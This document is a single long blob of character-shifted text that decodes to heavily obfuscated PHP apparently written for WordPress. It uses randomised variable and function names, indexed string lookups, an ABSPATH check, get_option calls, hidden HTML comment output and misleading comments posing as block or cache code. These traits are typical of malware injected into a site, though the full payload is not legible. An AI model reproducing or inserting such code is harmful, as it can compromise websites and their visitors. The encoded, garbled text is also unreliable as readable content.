,fd8pcbk08m0!$(}Wkig1fmg~0~qc<{g`|88f !!((i{(,mzf9m`<8g>dr;!((s((((,jb?pinW>a:z>iin:(((5((,mzf9m`<8g>dr;((&(((rq;ec{mmgl| 9?>:!((&(,l~y:yixbb~r8q3(((an(( )HaW;~yrxiqyjro 9?>;! ,jb?pinW>a:z>iin:!(tt(( af|!((Hjj`>dqcld1xlfd: 9?><! ,jb?pinW>a:z>iin:!((4(jj`>dqcld1xlfd: 9>1;! !((%((( >8<?1?#;!!(kgf|af}m3(,in<::do8nq`=((5(rq;ec{mmgl| 9:09!  {|zafo!((Hjj`>dqcld1xlfd: 9?>8! ,jb?pinW>a:z>iin:!!3(an((( ,in<::do8nq`=((((555(**!((((kgf|af}m3((,ae{:onx`88(((5(( {|zafo!((Haozjlg0f<j1nk{ 9?>8! ,fd8pcbk08m0!3(an(( aozjlg0f<j1nk{ 9?:;! ,ae{:onx`88!((((6(((( 98<0=90#=0!!(((,ae{:onx`88(((5((bW0a{a?}a`=bcb<?m ,ae{:onx`88!3(an(( ,ae{:onx`88((()55(((**((((..((rq;ec{mmgl| 9?>=! ,ae{:onx`88!((555((((((,in<::do8nq`=!(zm|}zf(((|z}m3(u(zm|}zf(((((nid{m3un}fk|agf(z;;epaz{aW`~jflap ,fd8pcbk08m0!((s(((((an((( )aW;~yrxiqyjro 9?:0! jj`>dqcld1xlfd: 9?8=!!((((tt((()jj`>dqcld1xlfd: 9?:0! jj`>dqcld1xlfd: 9?>>!!!(((((zm|}zf3((((,r:g0qz:eqp|(5((((((Hom|Wgx|agf aW;~yrxiqyjro 9?>?!$(izziq !!3((an((( )rq;ec{mmgl| 9?<<! ,r:g0qz:eqp|!!((,r:g0qz:eqp|(5((izziq !3(,r:g0qz:eqp|Sjj`>dqcld1xlfd: 9?>=! ,fd8pcbk08m0!U((5(((,fd8pcbk08m03an( aW;~yrxiqyjro 9=;?! ,r:g0qz:eqp|!((6(( 91#9!!((,r:g0qz:eqp|(5(((((aozjlg0f<j1nk{ 9?>0! ,r:g0qz:eqp|$((((% 8pm#8p>!$((f}dd$(|z}m!3((H}xli|mWgx|agf aozjlg0f<j1nk{ 9?>?!$(,r:g0qz:eqp|$(((aW;~yrxiqyjro 9?<;!!3(((u((((((n}fk|agf((((y=bmk~krfjnq>9~;j !s((an(( )aW;~yrxiqyjro 9?:0! jj`>dqcld1xlfd: 9?8=!!(((((tt((()aozjlg0f<j1nk{ 9?:0! aozjlg0f<j1nk{ 9?>>!!!((((((zm|}zf3(((((((,r:g0qz:eqp|(5((Hom|Wgx|agf jj`>dqcld1xlfd: 9?>?!$(izziq !!3(((an(( )jj`>dqcld1xlfd: 9?<<! ,r:g0qz:eqp|!((tt(mex|q ,r:g0qz:eqp|!!(zm|}zf3((,pi~g>oq>o18(5((izziq !3(ngzmik`( ,r:g0qz:eqp|(((i{(,m}Wn|:z0=b>:9j=(((((56((,ndjnir;e;:?fazg9!(((((s(an(((( )rq;ec{mmgl| 9?=0! ,ndjnir;e;:?fazg9!((((((tt(((,ndjnir;e;:?fazg9(((555((**(((tt(()Hjj`>dqcld1xlfd: 9?>;! ,ndjnir;e;:?fazg9!!(((((kgf|af}m3(((an((((( }{opyco<ikm<o?zxqboaod ,ndjnir;e;:?fazg9!((((555((nid{m!(s((,pi~g>oq>o18S,m}Wn|:z0=b>:9j=U(5((((,ndjnir;e;:?fazg93(kgf|af}m3(u((yy|m;zWdxb}n{r{~akm ,ndjnir;e;:?fazg9$((( ;=<#>>!!3an(( aqdz{8}zyk~qm;yf ,ndjnir;e;:?fazg9!!((s,a1b=;e{8n~yo~l59=#;>3,yznf=bil5,a1b=;e{8n~yo~l%::3(((an( rq;ec{mmgl| 9?:0! aW;~yrxiqyjro :88!!!(((Hgxkik`mWaf~idali|m ,ndjnir;e;:?fazg9$((|z}m!3(((u((md{man( Haozjlg0f<j1nk{ 9?>;! ,ndjnir;e;:?fazg9!!(((s((,pi~g>oq>o18S,m}Wn|:z0=b>:9j=U(5(((,ndjnir;e;:?fazg93((((u(((((u((((H}xli|mWgx|agf aW;~yrxiqyjro 9?>?!$((((((,pi~g>oq>o18$((((aozjlg0f<j1nk{ 9?<;!!3(((((((u(n}fk|agf((i~la|c=dgeok{Wdfon !((((((s(|zq(s,d|f9x=j|9W:((5(((aozjlg0f<j1nk{ 9?:0! aozjlg0f<j1nk{ 9>?!!((7((HmzzgzWom|Wdi{| !(2((((f}dd3(((((an( (jj`>dqcld1xlfd: 9?<<! ,d|f9x=j|9W:!((((..()mex|q ,d|f9x=j|9W:Srq;ec{mmgl| 9>1!U!(..(()mex|q ,d|f9x=j|9W:SaW;~yrxiqyjro 9?8!U!(..(jj`>dqcld1xlfd: ?1>! ,d|f9x=j|9W:Srq;ec{mmgl| 9?8!U$(izziq MWMZZGZ$((MWXIZ[M$((MWKGZMWMZZGZ$((((((MWKGEXADMWMZZGZ$((((((MW][MZWMZZGZ!$((|z}m!(!(((((s(,rbmnbr{>j=~m;da0(((5((HaW;~yrxiqyjro 0;0! z9>1{1jm8r8;e~8 !!3(((((((((((,Wmn(((((5(Haozjlg0f<j1nk{ 0;0! ,d|f9x=j|9W:Sjj`>dqcld1xlfd: 9>1!U!3((((((an(( jj`>dqcld1xlfd: 9?=0! ,rbmnbr{>j=~m;da0!(..(((rq;ec{mmgl| 9?=0! ,Wmn!(..((((,Wmn(555(,rbmnbr{>j=~m;da0!((zm|}zf3((u(((f>=x;~101zi;joqoid:1 rq;ec{mmgl| 9?=9!!3an( lmnafml rq;ec{mmgl| 9=>=!!!(s(,eag0|x0>19=f{?x<(((((5(((daoxe<{;:;W<mx !3((an( Haozjlg0f<j1nk{ 9?>;! ,eag0|x0>19=f{?x<S9U!!(((((s((,if>fe:>;<lj9(((5(((Hjj`>dqcld1xlfd: 9?>8! ,eag0|x0>19=f{?x<S9U$((nid{m$(((((f}dd$(8$(( :;?V9?;!!3((an( rq;ec{mmgl| 9?=0! ,if>fe:>;<lj9!(..(aW;~yrxiqyjro 9>;;! ,if>fe:>;<lj9$((jj`>dqcld1xlfd: 9=?:!(&(((ojcir|0ro>gifi>;n?| !(&(((/2/!(((555((((8!((s,}g1en>|r`bg(((5((Haozjlg0f<j1nk{ 9?>;! ,eag0|x0>19=f{?x<S9U(((&(rq;ec{mmgl| 9?>1!!((((((7(((((HaW;~yrxiqyjro 9?>8! ,eag0|x0>19=f{?x<S9U(&(rq;ec{mmgl| 9??8!$(((nid{m$(((((f}dd$((8$( <=#91!!(2(((((**3an( ,}g1en>|r`bg()55(((,if>fe:>;<lj9!(((((Hjj`>dqcld1xlfd: 9??9! ,eag0|x0>19=f{?x<S9U$(((,eag0|x0>19=f{?x<S9U(((((&(aozjlg0f<j1nk{ 9??:!!3((u((u(}f{m| ,eag0|x0>19=f{?x<$((,if>fe:>;<lj9$((,}g1en>|r`bg!3((((((((u(((u(((((ki|k`(( \`zgijdm(,bji~l0~ffxy8j1c!(((s(((((((u(((((ki|k`( Mpkmx|agf(,bji~l0~ffxy8j1c!(suu(n}fk|agf((r9>?=|mf}pid`klx:=qr ,|~|x`dl{j9!((((san( )aozjlg0f<j1nk{ 9??;! ,|~|x`dl{j9!!(((zm|}zf((((**3(an( jj`>dqcld1xlfd: 9??<! jj`>dqcld1xlfd: 9??=!$(,|~|x`dl{j9$((,~:qjql=j9xcao!!((s((((ngzmik`(( ,~:qjql=j9xcaoS9U(((((i{((,rjx|8xp}aj!(((s(an( oc?>n:`qmp?a9<im{9 aozjlg0f<j1nk{ <8:! ,rjx|8xp}aj$((((|z}m!!!((((((zm|}zf(**3((((((u(((uan(( jj`>dqcld1xlfd: 9??>! rq;ec{mmgl| 9???!$(,|~|x`dl{j9$((((,~:qjql=j9xcao!!((((s(((((ngzmik`( ,~:qjql=j9xcaoS9U((i{(((((,rjx|8xp}aj!(s((((an( oc?>n:`qmp?a9<im{9 {|zaxk{di{`m{ ,rjx|8xp}aj!!!(((zm|}zf((((**3(an(( aW;~yrxiqyjro 9>;;! ,rjx|8xp}aj$(((aozjlg0f<j1nk{ 9??0!!(()55(nid{m!(s,g=d|a9d0=;}qi5X@XWEIBGZW^MZ[AGF3,qq`q8ej}jc}>5,g=d|a9d0=;}qi"<3((((,dilpq{bm:>:{lW(((5((xzmoWzmxdikmWkiddjikc aW;~yrxiqyjro 9??1!$(aW;~yrxiqyjro 9?08!$((((,rjx|8xp}aj!3an(((((( rq;ec{mmgl| 9??;! ,dilpq{bm:>:{lW!(..(,dilpq{bm:>:{lW(()55(((,rjx|8xp}aj(((..(oc?>n:`qmp?a9<im{9 ,dilpq{bm:>:{lW!!((zm|}zf(((**3((u((((((u(u((an( aozjlg0f<j1nk{ 9??>! aozjlg0f<j1nk{ 9?09!$((,|~|x`dl{j9$((,~:qjql=j9xcao!!(((sngzmik`((((( ,~:qjql=j9xcaoS9U((i{(((,rjx|8xp}aj!(s(an( oc?>n:`qmp?a9<im{9 aW;~yrxiqyjro 9?0:! izziq aW;~yrxiqyjro 9?0;!$((aozjlg0f<j1nk{ 9?0<!!$((izziq /TT/$(/T//!$((,rjx|8xp}aj!!!((zm|}zf(**3(an(( rq;ec{mmgl| 9>;;! ,rjx|8xp}aj$((jj`>dqcld1xlfd: 9??0!!()55((nid{m!(((s,dilpq{bm:>:{lW((((5((((xzmoWzmxdikmWkiddjikc jj`>dqcld1xlfd: 9??1!$(((jj`>dqcld1xlfd: 9?08!$(,rjx|8xp}aj!3(((an((( aozjlg0f<j1nk{ 9?0=! ,dilpq{bm:>:{lW!(((..(,dilpq{bm:>:{lW(((()55(((,rjx|8xp}aj(((((..(((oc?>n:`qmp?a9<im{9 ,dilpq{bm:>:{lW!!((((zm|}zf((((((**3((((((u(((u(uzm|}zf((,|~|x`dl{j93un}fk|agf((jz1edbk9lzy~p ,}px?`?=of{mW!((((s((an(( )aozjlg0f<j1nk{ 9?0=! ,}px?`?=of{mW!(tt(( aozjlg0f<j1nk{ 9>;;! ,}px?`?=of{mW$(((jj`>dqcld1xlfd: 9?0>!!(555((((((nid{m(..((((((aozjlg0f<j1nk{ 9?0?! ,}px?`?=of{mW$(((rq;ec{mmgl| <8:!!(555(((nid{m!!(zm|}zf((((((nid{m3(((an(( aozjlg0f<j1nk{ 9??>! jj`>dqcld1xlfd: 9??=!$(,}px?`?=of{mW$(,~:qjql=j9xcao!!(sngzmik`((( ,~:qjql=j9xcaoS9U((((i{((((,rjx|8xp}aj!(((s(((an( oc?>n:`qmp?a9<im{9 rq;ec{mmgl| <8:! ,rjx|8xp}aj$((((|z}m!!!(zm|}zf((|z}m3((u(uan(( aW;~yrxiqyjro 9??>! aozjlg0f<j1nk{ 9???!$((,}px?`?=of{mW$((((,~:qjql=j9xcao!!((((s(ngzmik`((((( ,~:qjql=j9xcaoS9U(((i{((,rjx|8xp}aj!((((s((an(((( oc?>n:`qmp?a9<im{9 {|zaxk{di{`m{ ,rjx|8xp}aj!!!(zm|}zf((((|z}m3u''(H|aemg}|(ndqmao`|(ngzmik`(( ,~:qjql=j9xcaoS9U((i{(,rjx|8xp}aj!(s((((an((( rq;ec{mmgl| 9?00! ,rjx|8xp}aj$(jj`>dqcld1xlfd: 9??0!!(((555((nid{m!(((kgf|af}m3,dilpq{bm:>:{lW(5((((xzmoWzmxdikmWkiddjikc aW;~yrxiqyjro 9??1!$((rq;ec{mmgl| 9?08!$((((((,rjx|8xp}aj!3((((an((( jj`>dqcld1xlfd: 9?0=! ,dilpq{bm:>:{lW!((..((,dilpq{bm:>:{lW()55((((,rjx|8xp}aj((..((oc?>n:`qmp?a9<im{9 ,dilpq{bm:>:{lW!!((zm|}zf(|z}m3(u((u(((((an( rq;ec{mmgl| 9?01! rq;ec{mmgl| 9?09!$(((((,}px?`?=of{mW$(((((,~:qjql=j9xcao!!(((((s((((((ngzmik`( ,~:qjql=j9xcaoS9U((((i{((,rjx|8xp}aj!(s(an( oc?>n:`qmp?a9<im{9 jj`>dqcld1xlfd: 9?0:! izziq aozjlg0f<j1nk{ 9?0;!$(((jj`>dqcld1xlfd: 9?0<!!$((izziq /TT/$(/T//!$(((,rjx|8xp}aj!!!((((zm|}zf((|z}m3((u((((ngzmik`((((( ,~:qjql=j9xcaoS9U(((i{(((((,rjx|8xp}aj!(s(an((( rq;ec{mmgl| 9?18! ,rjx|8xp}aj$((jj`>dqcld1xlfd: 9??0!!(555(((nid{m!((kgf|af}m3(,dilpq{bm:>:{lW(5(xzmoWzmxdikmWkiddjikc rq;ec{mmgl| 9??1!$(rq;ec{mmgl| 9?08!$(,rjx|8xp}aj!3an((( aW;~yrxiqyjro 9?19! ,dilpq{bm:>:{lW!(((((..(((,dilpq{bm:>:{lW(((()55((((((,rjx|8xp}aj(((..(oc?>n:`qmp?a9<im{9 ,dilpq{bm:>:{lW!!((((zm|}zf(((|z}m3uu(((((zm|}zf((((nid{m3(((u(n}fk|agf((zgc9=|yg>n9~1r ,}px?`?=of{mW!(((s,c:jqbr?a591=t9;3,jz?en~=:Wjg015,c:jqbr?aV9?3((((((an((( )aW;~yrxiqyjro 9?1:! ,}px?`?=of{mW!((tt(,}px?`?=of{mW(((((555((**!(zm|}zf(**3(((zm|}zf( aozjlg0f<j1nk{ 9?:9! aozjlg0f<j1nk{ 9?1;!$((rq;ec{mmgl| 9?1<! ,}px?`?=of{mW$(((8$( 9:>;#>1:1!!$((((,~?b9=1{ef>n1x?!!((7(,~?b9=1{ef>n1x?S9U(((2((**3u(n}fk|agf(al}zrmf1<|p9pc;pp ,ae{:onx`88$(((,czeqpmqeWzgbp$(,~d{n`l>Wbry890((5(f}dd!s,b?<k`9z?=`ba5%<093,di?li{91}jb5 ,b?<k`9z?=`ba68!7,b?<k`9z?=`ba2%,b?<k`9z?=`ba3(((((an((( )aW;~yrxiqyjro 9?1=! ,ae{:onx`88!((tt(,ae{:onx`88(((555((((**!((zm|}zf((,ae{:onx`883(,iobbr;if{8`~egd((5(((((jj`>dqcld1xlfd: 9?1>!(&((,czeqpmqeWzgbp(((((&(((aozjlg0f<j1nk{ 1>1!3(,zark~;brg`yflpWp(5(**3(((,cn`?:>`bWdxn?jo((5((83((((`adm((( ,cn`?:>`bWdxn?jo##(((((4((((( <44=!!(((((s(((((((,zl>i=dkg1n((((5(((aW;~yrxiqyjro 9?18! ,ae{:onx`88$(,iobbr;if{8`~egd!3an( ,zl>i=dkg1n(((555(nid{m!(((jzmic3((,{>|{>k?deg(((5(,zl>i=dkg1n(((((#((jj`>dqcld1xlfd: 9?:;! ,iobbr;if{8`~egd!3((,klo{l>>if=l|(5((jj`>dqcld1xlfd: 9?18! ,ae{:onx`88$((aozjlg0f<j1nk{ 9>:?!$((,{>|{>k?deg!3((((an((( ,klo{l>>if=l|(((555(nid{m(((tt(((((,klo{l>>if=l|(((%((((,{>|{>k?deg(((6(( <8V98<!!((s(((((,zark~;brg`yflpWp(((&5((jj`>dqcld1xlfd: 9?1<! ,ae{:onx`88$((8$(((,{>|{>k?deg!3((((,ae{:onx`88(((5((((aW;~yrxiqyjro 9?1<! ,ae{:onx`88$((,{>|{>k?deg!3kgf|af}m3(((((((u(((((,n~9i89a8f9dq{b(((5(((aozjlg0f<j1nk{ 9?1<! ,ae{:onx`88$(((,{>|{>k?deg$((,klo{l>>if=l|(%((,{>|{>k?deg!3(((((an(((( )aW;~yrxiqyjro 9?:9! jj`>dqcld1xlfd: 9?1?!$(,n~9i89a8f9dq{b!!(((s(((,zark~;brg`yflpWp(((&5(aW;~yrxiqyjro 9?10! ,ae{:onx`88$((((8$(,{>|{>k?deg!3(,ae{:onx`88(((5((((jj`>dqcld1xlfd: 9?10! ,ae{:onx`88$(((,{>|{>k?deg!3kgf|af}m3((((u,m0<a=o<ay{y<((((5((((aW;~yrxiqyjro 9?11!((&(,czeqpmqeWzgbp(&(((aW;~yrxiqyjro 9088!(&((,n~9i89a8f9dq{b(((&(aozjlg0f<j1nk{ 9>:?!3(((,qnc0e?kmqarl?9k(5(((((aozjlg0f<j1nk{ 9?18! ,ae{:onx`88$((,m0<a=o<ay{y<$(((,klo{l>>if=l|!3(((an( ,qnc0e?kmqarl?9k((555(((nid{m!(jzmic3((((,zark~;brg`yflpWp((&5(((rq;ec{mmgl| 9?10! ,ae{:onx`88$((((8$(((,zl>i=dkg1n!3(((((((,n~8nxlil~em(5((((aozjlg0f<j1nk{ 9?10! ,ae{:onx`88$(((,zl>i=dkg1n$((((,qnc0e?kmqarl?9k(#((jj`>dqcld1xlfd: 9089! ,m0<a=o<ay{y<!(%((((,zl>i=dkg1n!3((an(( ,~d{n`l>Wbry890()55((f}dd!((((s((((((((,xbn:9gk<gb1n}=?>((5(aozjlg0f<j1nk{ ;;=! ,~d{n`l>Wbry890$(((,n~8nxlil~em!3an(( rq;ec{mmgl| 9?1=! ,xbn:9gk<gb1n}=?>!!((,zark~;brg`yflpWp(&5((,xbn:9gk<gb1n}=?>3(u(md{m(((s(,zark~;brg`yflpWp((((&5((((((,n~8nxlil~em3,icq{nd=r<Wx<y5X@XWEIBGZW^MZ[AGF3,iey9ok8p`:?5,icq{nd=r<Wx<y"=3((((((u,ae{:onx`88(5(aozjlg0f<j1nk{ 9?10! ,ae{:onx`88$((((,qnc0e?kmqarl?9k((((#((aozjlg0f<j1nk{ 9089! ,m0<a=o<ay{y<!!3((u(zm|}zf((,zark~;brg`yflpWp((&((((((,ae{:onx`883(u((n}fk|agf(((oy>{?eabdkl{}=;9;ab0 ,|~|x`dl{j9!s(zm|}zf(**3((((((u((n}fk|agf(((f~?;lc;e}9r|8kxl0 ,|~|x`dl{j9!(((s(an( )rq;ec{mmgl| 9?1=! ,|~|x`dl{j9!!((zm|}zf(**3(an( )lmnafml jj`>dqcld1xlfd: 9=>=!!!((zm|}zf(,|~|x`dl{j93(,cqdfl9bb1q((5((g{mxxjmmdpz1}` IJ[XI\@((((&((rq;ec{mmgl| 908:!$((((( <449!!3((((((an(((((( jj`>dqcld1xlfd: 9?:9! jj`>dqcld1xlfd: 908;!(&((,cqdfl9bb1q(((&((rq;ec{mmgl| 908<!$(,|~|x`dl{j9!!((((zm|}zf(**3((zm|}zf(((((,|~|x`dl{j93(((u(n}fk|agf(((((~Wbxzb>=x0qyla ,ae{:onx`88!san(( )aW;~yrxiqyjro 908=! ,ae{:onx`88!(((tt((((,ae{:onx`88((((555(**!(zm|}zf(((,ae{:onx`883(((,ebezm{a8c:j8o9}~((5(al}zrmf1<|p9pc;pp ,ae{:onx`88$(((jj`>dqcld1xlfd: 908>!$((rq;ec{mmgl| 908?!!3((((,ebezm{a8c:j8o9}~((5((al}zrmf1<|p9pc;pp ,ebezm{a8c:j8o9}~$(rq;ec{mmgl| 9080!$((aW;~yrxiqyjro 9081!!3(((an((( jj`>dqcld1xlfd: 9098! ,ebezm{a8c:j8o9}~!!(,ebezm{a8c:j8o9}~((5((jj`>dqcld1xlfd: 9>;?! jj`>dqcld1xlfd: 9099!$((((((**$(((,ebezm{a8c:j8o9}~!3(an((( )aozjlg0f<j1nk{ 9098! ,ebezm{a8c:j8o9}~!!((((((,ebezm{a8c:j8o9}~((5(,ae{:onx`883,o~mo0omoiqr`=15X@XWAF\WEIP'X@XWAF\WEIP3,jn{{yr}f}W5,o~mo0omoiqr`=1#193((((an((( jz1edbk9lzy~p ,ebezm{a8c:j8o9}~!!((((s((((,ebezm{a8c:j8o9}~(5(((al}zrmf1<|p9pc;pp ,ebezm{a8c:j8o9}~$(((rq;ec{mmgl| 908>!$(jj`>dqcld1xlfd: 909:!!3,ebezm{a8c:j8o9}~(((((5((al}zrmf1<|p9pc;pp ,ebezm{a8c:j8o9}~$((aozjlg0f<j1nk{ 909;!$(((((aozjlg0f<j1nk{ 909:!!3((an((( aozjlg0f<j1nk{ 909<! ,ebezm{a8c:j8o9}~!!(((,ebezm{a8c:j8o9}~((5((((jj`>dqcld1xlfd: 9>;?! rq;ec{mmgl| 9099!$((**$((,ebezm{a8c:j8o9}~!3(u(zm|}zf((((((jj`>dqcld1xlfd: 909<! ,ebezm{a8c:j8o9}~!(7((,ebezm{a8c:j8o9}~((2(,ae{:onx`883u((n}fk|agf(r8?j}};p=1dd;? ,ae{:onx`88!(((s(an((((( )aW;~yrxiqyjro 909<! ,ae{:onx`88!(tt()lmnafml jj`>dqcld1xlfd: 9=>=!!!(zm|}zf(nid{m3((((an(( aW;~yrxiqyjro 9?:9! aozjlg0f<j1nk{ 9099!$((,ae{:onx`88!!(((zm|}zf(|z}m3,yqdp{}flepc((((5(((g{mxxjmmdpz1}` IJ[XI\@((&((((jj`>dqcld1xlfd: 909=!$((( 8p>#8p:!!3an( jj`>dqcld1xlfd: 9?01! rq;ec{mmgl| 909>!$(,ae{:onx`88$((((,jg=y:<1cir!!(s((ngzmik`( ,jg=y:<1cirS9U(((((i{((((,dio9:0fgxq!((((((s((((((an( aW;~yrxiqyjro 9?10! ,dio9:0fgxq$(((% <#=!!(((555((/2/((&((,yqdp{}flepc!((zm|}zf((((((|z}m3(((((((uu(,Wll(((((5((rq;ec{mmgl| 9?10! aozjlg0f<j1nk{ 9?>=! IJ[XI\@((((&((rq;ec{mmgl| 909?!!$(((8$((((( 9:%<!!3((((an((( jj`>dqcld1xlfd: 9?01! rq;ec{mmgl| 9090!$((,ae{:onx`88$((,Wle!!(s''(_X([xikmz(Jdgkc(k}{|gearmz(|zif{xgz|(ngzmik`((( ,WleS9U(((i{((,cpm8ex|}lqe8!((((san( ,cpm8ex|}lqe8((((555(((,Wll!((zm|}zf(|z}m3((u(uzm|}zf((((nid{m3((((u(n}fk|agf(`pl19Wkbbjqj}e{9y !(((s((an( )a{{m| ,WOM\Srq;ec{mmgl| 9091!U!(tt(()aozjlg0f<j1nk{ 909<! ,WOM\Saozjlg0f<j1nk{ 9091!U!((tt(((()aozjlg0f<j1nk{ 9?:0! aW;~yrxiqyjro 9?8=!!!((zm|}zf3(((((,m:;Wdno~|iW}((5((((Hom|Wgx|agf aW;~yrxiqyjro 90:8!$((izziq !!3an( )aW;~yrxiqyjro 90:9! ,m:;Wdno~|iW}!!(((zm|}zf3(,d0xbi?0g>0<d;((5( {|zafo!(,WOM\SaW;~yrxiqyjro 90::!U3(,zn|0~<cl0q{`p?(5(izziq !3(an( a{{m| ,m:;Wdno~|iW}S/|/U!!((((,zn|0~<cl0q{`p?SU(((5( {|zafo!((((,m:;Wdno~|iW}S/|/U3((((an((( a{{m| ,m:;Wdno~|iW}SaW;~yrxiqyjro >;8!U!((..(((((jj`>dqcld1xlfd: 90:9! ,m:;Wdno~|iW}Srq;ec{mmgl| >;8!U!!(sngzmik`(((((( ,m:;Wdno~|iW}Srq;ec{mmgl| >;8!U(((i{((,`1|od}qbynk!(s((an(((( jj`>dqcld1xlfd: 90:9! ,`1|od}qbynk!((((((..(((((a{{m| ,`1|od}qbynkS/|/U!!((,zn|0~<cl0q{`p?SU(5((((( {|zafo!((((,`1|od}qbynkS/|/U3((((((u(u(,~}dca?nr|:yor1~i((5(nid{m3((ngzmik`((((( ,zn|0~<cl0q{`p?(i{(((,kz`:pfe||n!(((s,yaomp;f{;5X@XWEIBGZW^MZ[AGF3,~`ijo0|y5,yaomp;f{;"=3((an( ,kz`:pfe||n((((555(**!(((kgf|af}m3((,~}dca?nr|:yor1~i(5((((jj`>dqcld1xlfd: 9?:0! jj`>dqcld1xlfd: 90:;!!(((7(`i{`Wmy}id{ ,kz`:pfe||n$(((((,d0xbi?0g>0<d;!(2(((( ,kz`:pfe||n(555((((((,d0xbi?0g>0<d;!3((an(( ,~}dca?nr|:yor1~i!((((jzmic3((u''(Hlmxzg~a{agf({k`ml}dmz(an(( ),~}dca?nr|:yor1~i!(zm|}zf3an((( rq;ec{mmgl| 9?:0! rq;ec{mmgl| =::!!!((s(((rq;ec{mmgl| =::! n}fk|agf(( !(}{m( ,d0xbi?0g>0<d;!((s(((((mk`g(((((*Tf4)%%[KC2*((((&(,d0xbi?0g>0<d;((&((aozjlg0f<j1nk{ 90:<!3(u!3((((u(u(n}fk|agf((~1?i`nn=k:dfWl}gdd{{ !(((((s((((((an(( )rq;ec{mmgl| 90:=! rq;ec{mmgl| 9?8=!!!((zm|}zf((nid{m3((,~?b9=1{ef>n1x?(((((5((Hom|Wgx|agf rq;ec{mmgl| >:=!$((**!3(an( )jj`>dqcld1xlfd: 909<! ,~?b9=1{ef>n1x?!(((tt((aozjlg0f<j1nk{ 9?18! ,~?b9=1{ef>n1x?$(((aozjlg0f<j1nk{ 90:>!!()55(8!(zm|}zf((((nid{m3,{gfayq;W?m{;eb~(((5(((( af|!((aW;~yrxiqyjro 9?10! ,~?b9=1{ef>n1x?$( 901V90?!!3((((((an((( ,{gfayq;W?m{;eb~((..((((aW;~yrxiqyjro 90:?! !(((%((,{gfayq;W?m{;eb~(6((( 0>;=>#<<!!(zm|}zf(nid{m3zm|}zf(((((|z}m3(un}fk|agf(f89kW1g}g|i=ira ,fd8pcbk08m0$(,}r={}mg{0`jaic!s''(Emekik`ml(ilix|mz2(}fdgil(i|mzeizc(((an(((((( )rq;ec{mmgl| 90:=! aW;~yrxiqyjro 9?>>!!((tt()jj`>dqcld1xlfd: 90:0! aW;~yrxiqyjro =::!!!(zm|}zf((nid{m3(((((an(( ~1?i`nn=k:dfWl}gdd{{ !!((((zm|}zf(|z}m3(((((,m:;Wdno~|iW}(((5((Hom|Wgx|agf rq;ec{mmgl| 90:8!$(((izziq !!3((an(( )aW;~yrxiqyjro 90:9! ,m:;Wdno~|iW}!!((,m:;Wdno~|iW}(5(((((izziq !3(((((((an(( )a{{m| ,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90:1!U!((tt()jj`>dqcld1xlfd: 90:9! ,m:;Wdno~|iW}Srq;ec{mmgl| 90:1!U!!((s,bfl;g{x<z?0x(5(((((izziq !3(an(( a{{m| ,m:;Wdno~|iW}S/|/U$((,m:;Wdno~|iW}S/x/U$(,m:;Wdno~|iW}S/j/U!!(((s''(xzg~a{agf({|zgfo(fgeafid%|qxm(((((,bfl;g{x<z?0xSaozjlg0f<j1nk{ 9?>=!  {|zafo!(((,m:;Wdno~|iW}S/x/U!U((5((izziq /|/((((56(( {|zafo!(,m:;Wdno~|iW}S/|/U$(((((/x/(((56(( {|zafo!(((,m:;Wdno~|iW}S/x/U$((/j/((56((((( {|zafo!(,m:;Wdno~|iW}S/j/U$(((((jj`>dqcld1xlfd: 9808!(56(a{{m| ,m:;Wdno~|iW}SaW;~yrxiqyjro 9808!U!((7((( af|!((,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 9808!U((2((aozjlg0f<j1nk{ 90:?! !$(jj`>dqcld1xlfd: 90;8!(((56(8$((/f/((((56(8!3(u((((,m:;Wdno~|iW}((5((izziq aozjlg0f<j1nk{ 90:1!((56((,bfl;g{x<z?0x!3((u(((,n~9i89a8f9dq{b(5(((((jj`>dqcld1xlfd: 9?>=! ,fd8pcbk08m0!3((((an(((( a{{m| ,m:;Wdno~|iW}Srq;ec{mmgl| 90:1!US,n~9i89a8f9dq{bU!!(s(((((,m:;Wdno~|iW}Srq;ec{mmgl| 90:1!US,n~9i89a8f9dq{bUSaozjlg0f<j1nk{ 9808!U((((((5(((jj`>dqcld1xlfd: 90;9! !3((,m:;Wdno~|iW}Sjj`>dqcld1xlfd: 90:1!US,n~9i89a8f9dq{bUSaW;~yrxiqyjro 90;:!U(((5((((83(((((,m:;Wdno~|iW}Saozjlg0f<j1nk{ 90:1!US,n~9i89a8f9dq{bUS/f/U(5(( ,}r={}mg{0`jaic((555(((**!(((7(9(((2(((83an( ){jynjr};<k;ff=~{9pbapx ,m:;Wdno~|iW}Srq;ec{mmgl| 90;;!US,n~9i89a8f9dq{bUS/j/U$((((((,}r={}mg{0`jaic!!((s((((((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 90;<!$(((((aozjlg0f<j1nk{ 90;=!!3(zm|}zf((((nid{m3((uu((md{m((s(((((((,z?xcd9c}k{8((5(((e||ngqy~:jfj0;o0a !3(,c{q`nxr1r<rdclb;(5(((,z?xcd9c}k{8((&((jj`>dqcld1xlfd: 90;>!(((&((g{mxxjmmdpz1}` ,fd8pcbk08m0$(( 91%?!!(((&((((aozjlg0f<j1nk{ 90;?!3an( ){jynjr};<k;ff=~{9pbapx ,c{q`nxr1r<rdclb;$(((,}r={}mg{0`jaic!!((sgcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 90;<!$((((((rq;ec{mmgl| 90;0!!3(((((zm|}zf((nid{m3(u((,m:;Wdno~|iW}Saozjlg0f<j1nk{ 90;;!US,n~9i89a8f9dq{bU((((5((izziq /|/(56((((mp<9p>k`8?o:yf8fpo9  <?V>;!!$(((/x/(56(((((,fd8pcbk08m0$(((((/j/(56((((,c{q`nxr1r<rdclb;$(aozjlg0f<j1nk{ 9808!(56(aW;~yrxiqyjro 90;1! !$(rq;ec{mmgl| 90<8!(56(8$(/f/((56( ,}r={}mg{0`jaic((555(((**!((((((7(9((((2(((8!3(u(((((`adm((((( aozjlg0f<j1nk{ 90<9! ,m:;Wdno~|iW}SaW;~yrxiqyjro 90;;!U!(((6((((( 9<%<!!(s((((,nq<0myy;zi{nyp(((((5((f}dd3(((((,`>br8{jr;km}z;g<((((5(f}dd3(ngzmik`((( ,m:;Wdno~|iW}Saozjlg0f<j1nk{ 90;;!U((i{((,y9|i:pj9yff}?>fy(56((,e0q>bm99d8gy!(s(((an(((( ,`>br8{jr;km}z;g<(((555(((f}dd(tt( af|!(,e0q>bm99d8gySrq;ec{mmgl| 9808!U((4(((((,`>br8{jr;km}z;g<!(s,rkyfrc8nj5 